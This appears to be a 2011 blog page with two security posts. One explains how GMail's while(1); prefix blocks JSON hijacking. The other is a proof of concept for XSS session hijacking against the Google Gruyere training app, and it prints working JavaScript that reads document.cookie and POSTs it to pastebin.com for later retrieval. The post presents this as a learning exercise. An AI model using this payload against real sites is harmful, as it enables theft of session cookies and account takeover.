XSS Prevention in GMail

28 February, 2011 § Leave a comment

Many popular web applications use JSON as their data interchange format. The format is very compact, easy for humans to read, and is based on a subset of JavaScript.

I’ll start by showing an example. Consider a website that wants its clients to query the server for the most recent 3 public messages. The client may send a GET query to the following address: https://mail.google.com/recent_messages/

The response can be written as follows:

var messages = [
   {"user": "foo", "m": "I like turtles", "t": 123423550},
   {"user": "bar", "m": "Turtle power!", "t": 1234543245},
   {"user": "baz", "m": "Cowabunga dude", "t": 1234567643}

When mail.google.com requests this JSON feed, it could then run eval() on the source code. Afterwards, it will have a messages object in global scope that it can reference.

This could work out good for GMail, but it can also allow other websites to make the same call. Modern web browsers will not allow asynchronous HTTP requests to cross domain boundaries, so it is easy to think that this is safe. However if the location is added as the src attribute of a script tag, then the browsers will load the content.

To work around this, GMail adds while(1); to the beginning of the JSON response.

When requesting JavaScript through a script tag’s src attribute, the DOM does not give access to modifying the content of the response. This keeps the while(1); present. If a client tries to eval() this JSON request, their browser will simply hang.

Pretty interesting, huh? There still are workarounds that can defeat this, such as setting up a server-side proxy that will make the request and strip the while(1).

If you’re looking for more details, Adobe Labs has a page on their website that covers Preventing the Execution of Unauthorized Script in JSON.

XSS Session Hijacking proof of concept

17 February, 2011 § 6 Comments

I’ve been spending time lately playing with Google Gruyere. I first got introduced to it back when it was called Jarlsberg. After finding all the cross-site scripting vulnerabilities, I thought it would be cool to actually exploit them.

To this day, I had never exploited any of the holes I had found. When disclosing security vulnerabilities, I knew of the potential that a hole could bring with it. While it would be easy to convince myself of the necessity for a fix, I’ve learned it’s much harder to convince others. So I set out on implementing a proof-of-concept for one of the holes in Google Gruyere.

Gruyere allows users to add links to their homepage, however the application doesn’t sanitize the input. Try the following as your homepage and you’ll get a nice alert dialog:


To exploit this, I wrote the following JavaScript:

function a() {
var xhr =new XMLHttpRequest();
var params = 'paste_code=' + document.cookie + '&paste_name=XSS_poc';
xhr.setRequestHeader("Content-length",params.length + "");

I then used the Google Closure Compiler to compress this JavaScript by over 18% and achieved the final code as follows:

var a=new XMLHttpRequest,b="paste_code="+document.cookie+"&paste_name=XSS_poc";a.open("POST","http://pastebin.com/api_public.php",true);a.setRequestHeader("Content-type","application/x-www-form-urlencoded");a.setRequestHeader("Content-length",b.length+"");a.setRequestHeader("Connection","close");a.send(b);

Prefix the JavaScript code with `javascript:`, and you’re off to the races.

So how does this work? This JavaScript, when executed, will take the document’s cookie and send it to Pastebin.com. The attacker will then visit pastebin.com and find the cookie by searching for “XSS_poc” on Pastebin.

I then used a Google Chrome extension called Edit This Cookie to change my cookie to be that of the victim. Hitting Refresh on the page now showed that I was logged in as the victim :)

I recorded a video of the attack and have embedded it below. The music was created by Kevin MacLeod.

What do you think?

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